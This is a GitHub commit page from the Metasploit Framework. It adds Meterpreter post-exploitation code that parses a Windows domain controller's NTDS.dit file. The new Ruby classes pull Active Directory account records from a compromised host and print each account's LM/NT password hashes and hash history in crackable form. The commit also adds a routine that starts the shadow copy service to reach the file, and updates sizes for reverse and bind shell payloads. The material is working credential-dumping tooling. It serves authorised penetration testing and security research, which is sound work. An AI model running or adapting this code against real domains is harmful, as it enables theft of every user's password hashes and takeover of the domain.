Skip to content

Commit 1351c1d

Browse files
author
Brent Cook
committed
Land rapid7#5348, meterpreter support and post modules for parsing NTDS
2 parents ba340ec + 8ade660 commit 1351c1d

File tree

12 files changed

+459
-5
lines changed

12 files changed

+459
-5
lines changed
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
module Metasploit
2+
module Framework
3+
module NTDS
4+
# This class represents an NTDS account structure as sent back by Meterpreter's
5+
# priv extension.
6+
class Account
7+
8+
# Size of an NTDS Account Struct on the Wire
9+
ACCOUNT_SIZE = 3016
10+
# Size of a Date or Time Format String on the Wire
11+
DATE_TIME_STRING_SIZE = 30
12+
# Size of the AccountDescription Field
13+
DESCRIPTION_SIZE =1024
14+
# Size of a Hash History Record
15+
HASH_HISTORY_SIZE = 792
16+
# Size of a Hash String
17+
HASH_SIZE = 33
18+
# Size of the samAccountName field
19+
NAME_SIZE = 128
20+
21+
#@return [String] The AD Account Description
22+
attr_accessor :description
23+
#@return [Boolean] If the AD account is disabled
24+
attr_accessor :disabled
25+
#@return [Boolean] If the AD account password is expired
26+
attr_accessor :expired
27+
#@return [String] Human Readable Date for the account's password expiration
28+
attr_accessor :expiry_date
29+
#@return [String] The LM Hash of the current password
30+
attr_accessor :lm_hash
31+
#@return [Array<String>] The LM hashes for previous passwords, up to 24
32+
attr_accessor :lm_history
33+
#@return [Fixnum] The count of historical LM hashes
34+
attr_accessor :lm_history_count
35+
#@return [Boolean] If the AD account is locked
36+
attr_accessor :locked
37+
#@return [Fixnum] The number of times this account has logged in
38+
attr_accessor :logon_count
39+
#@return [String] Human Readable Date for the last time the account logged in
40+
attr_accessor :logon_date
41+
#@return [String] Human Readable Time for the last time the account logged in
42+
attr_accessor :logon_time
43+
#@return [String] The samAccountName of the account
44+
attr_accessor :name
45+
#@return [Boolean] If the AD account password does not expire
46+
attr_accessor :no_expire
47+
#@return [Boolean] If the AD account does not require a password
48+
attr_accessor :no_pass
49+
#@return [String] The NT Hash of the current password
50+
attr_accessor :nt_hash
51+
#@return [Array<String>] The NT hashes for previous passwords, up to 24
52+
attr_accessor :nt_history
53+
#@return [Fixnum] The count of historical NT hashes
54+
attr_accessor :nt_history_count
55+
#@return [String] Human Readable Date for the last password change
56+
attr_accessor :pass_date
57+
#@return [String] Human Readable Time for the last password change
58+
attr_accessor :pass_time
59+
#@return [Fixnum] The Relative ID of the account
60+
attr_accessor :rid
61+
#@return [String] Byte String for the Account's SID
62+
attr_accessor :sid
63+
64+
# @param raw_data [String] the raw 3948 byte string from the wire
65+
# @raise [ArgumentErrror] if a 3948 byte string is not supplied
66+
def initialize(raw_data)
67+
raise ArgumentError, "No Data Supplied" unless raw_data.present?
68+
raise ArgumentError, "Invalid Data" unless raw_data.length == ACCOUNT_SIZE
69+
data = raw_data.dup
70+
@name = get_string(data,NAME_SIZE)
71+
@description = get_string(data,DESCRIPTION_SIZE)
72+
@rid = get_int(data)
73+
@disabled = get_boolean(data)
74+
@locked = get_boolean(data)
75+
@no_pass = get_boolean(data)
76+
@no_expire = get_boolean(data)
77+
@expired = get_boolean(data)
78+
@logon_count = get_int(data)
79+
@nt_history_count = get_int(data)
80+
@lm_history_count = get_int(data)
81+
@expiry_date = get_string(data,DATE_TIME_STRING_SIZE)
82+
@logon_date = get_string(data,DATE_TIME_STRING_SIZE)
83+
@logon_time = get_string(data,DATE_TIME_STRING_SIZE)
84+
@pass_date = get_string(data,DATE_TIME_STRING_SIZE)
85+
@pass_time = get_string(data,DATE_TIME_STRING_SIZE)
86+
@lm_hash = get_string(data,HASH_SIZE)
87+
@nt_hash = get_string(data,HASH_SIZE)
88+
@lm_history = get_hash_history(data)
89+
@nt_history = get_hash_history(data)
90+
@sid = data
91+
end
92+
93+
# @return [String] String representation of the account data
94+
def to_s
95+
<<-EOS.strip_heredoc
96+
#{@name} (#{@description})
97+
#{@name}:#{@rid}:#{ntlm_hash}
98+
Password Expires: #{@expiry_date}
99+
Last Password Change: #{@pass_time} #{@pass_date}
100+
Last Logon: #{@logon_time} #{@logon_date}
101+
Logon Count: #{@logon_count}
102+
#{uac_string}
103+
Hash History:
104+
#{hash_history}
105+
EOS
106+
end
107+
108+
# @return [String] the NTLM hash string for the current password
109+
def ntlm_hash
110+
"#{@lm_hash}:#{@nt_hash}"
111+
end
112+
113+
# @return [String] Each historical NTLM Hash on a new line
114+
def hash_history
115+
history_string = ''
116+
@lm_history.each_with_index do | lm_hash, index|
117+
history_string << "#{@name}:#{@rid}:#{lm_hash}:#{@nt_history[index]}\n"
118+
end
119+
history_string
120+
end
121+
122+
private
123+
124+
def get_boolean(data)
125+
get_int(data) == 1
126+
end
127+
128+
def get_hash_history(data)
129+
raw_history = data.slice!(0,HASH_HISTORY_SIZE)
130+
split_history = raw_history.scan(/.{1,33}/)
131+
split_history.map!{ |hash| hash.gsub(/\x00/,'')}
132+
split_history.reject!{ |hash| hash.blank? }
133+
end
134+
135+
def get_int(data)
136+
data.slice!(0,4).unpack('L').first
137+
end
138+
139+
def get_string(data,length)
140+
data.slice!(0,length).gsub(/\x00/,'')
141+
end
142+
143+
def uac_string
144+
status_string = ''
145+
if @disabled
146+
status_string << " - Account Disabled\n"
147+
end
148+
if @expired
149+
status_string << " - Password Expired\n"
150+
end
151+
if @locked
152+
status_string << " - Account Locked Out\n"
153+
end
154+
if @no_expire
155+
status_string << " - Password Never Expires\n"
156+
end
157+
if @no_pass
158+
status_string << " - No Password Required\n"
159+
end
160+
status_string
161+
end
162+
end
163+
end
164+
end
165+
end
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
module Metasploit
2+
module Framework
3+
module NTDS
4+
require 'metasploit/framework/ntds/account'
5+
# This class respresent an NTDS parser. It interacts with the Meterpreter Client
6+
# to provide a simple interface for enumerating AD user accounts.
7+
class Parser
8+
9+
# The size, in Bytes, of a batch of NTDS accounts
10+
BATCH_SIZE = (Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE * 20)
11+
12+
#@return [Rex::Post::Meterpreter::Channels::Pool] The Meterpreter NTDS Parser Channel
13+
attr_accessor :channel
14+
#@return [Msf::Session] The Meterpreter Client
15+
attr_accessor :client
16+
#@return [String] The path to the NTDS.dit file on the remote system
17+
attr_accessor :file_path
18+
19+
def initialize(client, file_path='')
20+
raise ArgumentError, "Invalid Filepath" unless file_path.present?
21+
@file_path = file_path
22+
@channel = client.extapi.ntds.parse(file_path)
23+
@client = client
24+
end
25+
26+
# Yields a [Metasploit::Framework::NTDS::Account] for each account found
27+
# in the remote NTDS.dit file.
28+
#
29+
# @yield [account]
30+
# @yieldparam account [Metasploit::Framework::NTDS::Account] an AD user account
31+
# @yieldreturn [void] does not return a value
32+
def each_account
33+
raw_batch_data = pull_batch
34+
until raw_batch_data.nil?
35+
batch = raw_batch_data.dup
36+
while batch.present?
37+
raw_data = batch.slice!(0,Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE)
38+
# Make sure our data isn't all Null-bytes
39+
if raw_data.match(/[^\x00]/)
40+
account = Metasploit::Framework::NTDS::Account.new(raw_data)
41+
yield account
42+
end
43+
end
44+
raw_batch_data = pull_batch
45+
end
46+
channel.close
47+
end
48+
49+
private
50+
51+
def pull_batch
52+
if channel.cid.nil?
53+
reopen_channel
54+
end
55+
begin
56+
raw_batch_data = channel.read(BATCH_SIZE)
57+
rescue EOFError
58+
raw_batch_data = nil
59+
end
60+
raw_batch_data
61+
end
62+
63+
def reopen_channel
64+
@channel = client.extapi.ntds.parse(file_path)
65+
end
66+
67+
end
68+
end
69+
end
70+
end

lib/msf/core/post/windows/shadowcopy.rb

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -182,6 +182,25 @@ def start_vss
182182
return false
183183
end
184184
end
185+
unless start_swprv
186+
return false
187+
end
188+
return true
189+
end
190+
191+
def start_swprv
192+
vss_state = wmic_query('Service where(name="swprv") get state')
193+
if vss_state=~ /Running/
194+
print_status("Software Shadow Copy service is running.")
195+
else
196+
print_status("Software Shadow Copy service not running. Starting it now...")
197+
if service_restart("swprv", START_TYPE_MANUAL)
198+
print_good("Software Shadow Copy started successfully.")
199+
else
200+
print_error("Insufficient Privs to start service!")
201+
return false
202+
end
203+
end
185204
return true
186205
end
187206

lib/rex/post/meterpreter/extensions/extapi/extapi.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
require 'rex/post/meterpreter/extensions/extapi/service/service'
66
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
77
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
8+
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
89
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
910

1011
module Rex
@@ -34,6 +35,7 @@ def initialize(client)
3435
'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
3536
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
3637
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
38+
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
3739
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
3840
})
3941
},
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# -*- coding: binary -*-
2+
3+
module Rex
4+
module Post
5+
module Meterpreter
6+
module Extensions
7+
module Extapi
8+
module Ntds
9+
10+
###
11+
#
12+
# This meterpreter extension contains extended API functions for
13+
# parsing the NT Directory Service database.
14+
#
15+
###
16+
class Ntds
17+
18+
def initialize(client)
19+
@client = client
20+
end
21+
22+
def parse(filepath)
23+
request = Packet.create_request('extapi_ntds_parse')
24+
request.add_tlv( TLV_TYPE_NTDS_PATH, filepath)
25+
# wait up to 90 seconds for a response
26+
response = client.send_request(request, 90)
27+
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
28+
if channel_id.nil?
29+
raise Exception, "We did not get a channel back!"
30+
end
31+
Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "extapi_ntds", CHANNEL_FLAG_SYNCHRONOUS)
32+
end
33+
34+
attr_accessor :client
35+
36+
end
37+
38+
end; end; end; end; end; end
39+

lib/rex/post/meterpreter/extensions/extapi/tlv.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -72,6 +72,9 @@ module Extapi
7272
TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69)
7373
TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70)
7474

75+
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
76+
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
77+
7578
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
7679
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
7780
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)

modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module Metasploit4
1515

16-
CachedSize = 1102898
16+
CachedSize = 1104434
1717

1818
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Windows

modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module Metasploit4
1515

16-
CachedSize = 1103942
16+
CachedSize = 1105478
1717

1818
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Windows

modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module Metasploit4
1515

16-
CachedSize = 1103942
16+
CachedSize = 1105478
1717

1818
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Windows

modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module Metasploit4
1515

16-
CachedSize = 1102898
16+
CachedSize = 1104434
1717

1818
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Windows

0 commit comments

Comments
 (0)